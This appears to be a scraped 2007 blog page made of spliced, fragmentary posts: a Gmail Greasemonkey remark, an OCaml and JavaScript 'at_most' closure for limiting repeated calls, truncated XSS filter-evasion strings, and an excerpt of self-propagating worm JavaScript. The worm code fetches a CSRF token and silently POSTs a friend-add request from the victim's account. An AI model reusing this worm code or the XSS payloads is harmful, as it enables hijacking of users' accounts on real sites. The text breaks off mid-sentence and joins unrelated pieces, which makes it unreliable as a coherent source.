08:21 pm, 5 Nov 07
gmail greasemonkey
The new version of Gmail has explicit support for Greasemonkey.
static local variables in C.) You could just make the state a global variable alongside the function, but you can hide it in a cute way.# let at_most n f =
let count = ref 0 in (* "ref" is ml for "mutable" *)
fun x ->
if !count < n then (incr count; f x)
else ()
;;
val at_most : int -> ('a -> unit) -> 'a -> unit = <fun>
(* and demonstration: *)
# let say_hi () = print_endline "hi";;
val say_hi : unit -> unit = <fun>
# let limited_say_hi = at_most 2 say_hi;;
val limited_say_hi : unit -> unit = <fun>
# limited_say_hi ();;
hi
- : unit = ()
# limited_say_hi ();;
hi
- : unit = ()
# limited_say_hi ();;
- : unit = ()
(* ... it ran twice, so it will no longer
produce any output. *)
alert()-based debugging. The problem you often run into is that you want to alert() inside of a loop to see a value but if you let the loop go you get an endless cascade of popups.function at_most(n, f) {
var i = 0;
return function(x) {
if (i++ < n) f(x);
};
};
var aler = at_most(3, alert);aler(...) throughout my code and it'll never bring up more than three popups.IMG SRC=j	", and Brad's favorite, "someattr="jav ascript:alert('XSS');"".main(){
var AN=getClientFID();
var BH='/index.cfm?fuseaction=user.viewProfi le&friendID='+AN+'&Mytoken='+L;
J=getXMLObj();
httpSend(BH,getHome,'GET');
xmlhttp2=getXMLObj();
httpSend2('/index.cfm?fuseaction=invite.a ddfriend_verify&friendID=11851658&Mytoke n='+L,processxForm,'GET')}
function processxForm(){
if(xmlhttp2.readyState!=4){return}
var AU=xmlhttp2.responseText;
var AQ=getHiddenParameter(AU,'hashcode');
var AR=getFromURL(AU,'Mytoken');
var AS=new Array();
AS['hashcode']=AQ;
AS['friendID']='11851658';
AS['submit']='Add to Friends';
httpSend2('/index.cfm?fuseaction=invite.a ddFriendsProcess&Mytoken='+AR,nothing,'P OST',paramsToString(AS))
}This is the latest in a long line of badass things Mihai has done for Gmail [...]. As near as I can tell, he fell to earth from javascript space, and under the rays of our yellow sun has developed strange, unearthly powers.Truly.